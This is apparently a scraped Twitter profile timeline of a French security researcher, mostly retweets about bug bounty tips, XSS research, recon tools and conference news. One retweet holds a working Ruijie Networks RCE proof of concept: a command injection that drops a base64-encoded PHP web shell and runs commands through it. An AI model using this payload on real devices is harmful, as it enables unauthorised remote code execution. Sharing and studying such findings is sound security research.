retr0

Sysadminotaur, XSS Sniper, 8-bit, Beer(s). Tweets are my own.

[RandoriSec @RandoriSec]

Red Team members, have you ever wondered how to extract access tokens from Microsoft Teams?

https://t.co/GzRFfyPR5h

[Stéphane Bortzmeyer @bortzmeyer]

L'Internet des Objets, c'est quand on peut passer root sur une ampoule électrique en envoyant du JSON. https://t.co/9sSzVDXKOm

[retr0 @retr0_]

Retour à la réalité après encore une très bonne cuvée 2025 pour @_leHACK_ en compagnie de @Gromak123_Sec et freesec! Merci à toute l’organisation pour le boulot monstre comme chaque année c’est toujours un kiff d’être là ! Merci @hackerzvoice et on oublie pas:
Hack the planet🍻

[harisec @har1sec]

Here are the slides from my @TumpiConIT talk: Teaching LLMs how to XSS - An introduction to fine-tuning and reinforcement learning (using your own GPU)
https://t.co/ncwizyHAXk

[retr0 @retr0_]

@AREtoiles Quel est le nom de l'œuvre littéraire qui a été écrite par l'écrivain argentin Jorge Luis Borges et qui explore le concept d'infini à travers une bibliothèque contenant tous les livres possibles, et quel est le titre de ce récit ?

[celesian @c3l3si4n]

In the past few months, I've been making a subdomains database containing 1.6 billion subdomains scrapped from multiple public (and private) sources.
This database is now public and FREE and can be queried on the following website.

https://t.co/C2cXn3sUOD

Enjoy!

[YesWeHack ⠵ @yeswehack]

A new open-source tool from @BitK_ reveals how popular browsers parse HTML – simplifying the hunt for mutation XSS and opening up new horizons in security research 🔬 Read about this valuable addition to your 'Hacker's Toolbox' in our latest blog post 👇
https://t.co/rQyRdhseP5

[Somdev Sangwan @s0md3v]

uro v1.0.1 is here 🎉

- 80 times faster (real)
- fixed that unicode error
- fixed high RAM usage while reading from stdin
- harsher /{int}/ type filtering

https://t.co/qlLQBfU6Kz

[elSec @adrielsec]

Oneliner + A collection of special paths linked to major web frameworks and infrastructure projects, known juicy APIs, misconfigurations.. etc.

dirsearch -l 200HTTP --full-url -F -w leaky-paths.txt

https://t.co/faOL6pswPY

#bugbounty #bugbountytips #bugbountytip #hacking

[PortSwigger Research @PortSwiggerRes]

Chrome now supports onscrollend! This works with any tag. Now you can bypass that WAF on Chrome and Firefox. Check out our XSS cheat sheet for a PoC:

https://t.co/5niLsBsyvp

[Intigriti @intigriti]

Did you know you can hide your payloads in phone numbers? ☎️😱
RFC3966 specifies parameters for valid phone numbers that can contain characters. @securinti discovered that popular libraries are vulnerable and that it can lead to XSS and even ATO!🔥
#BugBountyTips #NahamCon2022EU

[retr0 @retr0_]

@Gromak123_Sec @_leHACK_ @yeswehack "T'as fini ta recon?" La blague fil rouge 😂

[Intigriti @intigriti]

APKLeaks is a very efficient tool for extracting links and secrets from mobile .apk applications quickly. Thanks for the #BugBountyTip, @_superhero1! #BugBountyTips

[Zach Holman @holman]

"my laundry machine uses gigabytes of traffic every day" is another one of those fun things we can say now that we live in The Future™

[Marc Bevand @zorinaq]

RSA destroyed 😱

Well-known cryptographer Schnorr posted a preprint that, in his words, «destroys the RSA cryptosystem» !

https://t.co/r434XwR1Cf

There was initially some confusion if this paper was really from him, but this is now confirmed: https://t.co/4VszxZ9qcg .

[pikpikcu @pikpikcu]

Ruijie Networks RCE
echo "PD9waHAKJGNtZD0kX0dFVFsnY21kJ107CnN5c3RlbSgkY21kKTsKPz4K" | base64 -d
POC:
POST /guest_auth/guestIsUp.php

ip=127.0.0.1|echo "PD9waHAKJGNtZD0kX0dFVFsnY21kJ107CnN5c3RlbSgkY21kKTsKPz4K"|base64 -d > poc.php&mac=00-00

GET /guest_auth/poc.php?cmd=whoami

[Nagli @galnagli]

Finding postMessage vulnerabilities has never been easier, take a look at our first open-source tool from @enso_security which provides GUI and Cross Origin traffic inspector in ease.

https://t.co/ctvy0EG3Ix

Looking forward to see your findings using posta!
#bugbountytips

[Hack3rScr0lls @hackerscrolls]

We have updated the github repository with all the tricks from the past year.

Github: https://t.co/UussQhab9p
Telegram: https://t.co/bPXBYZT5P7
HackerScrolls team: @barracud4_ and @igc_iv

Feel free to suggest any security topic in replies

Good luck & have fun in New Year 2021!

[retr0 @retr0_]

@AtaxyaNetwork https://t.co/3q9O5AohYJ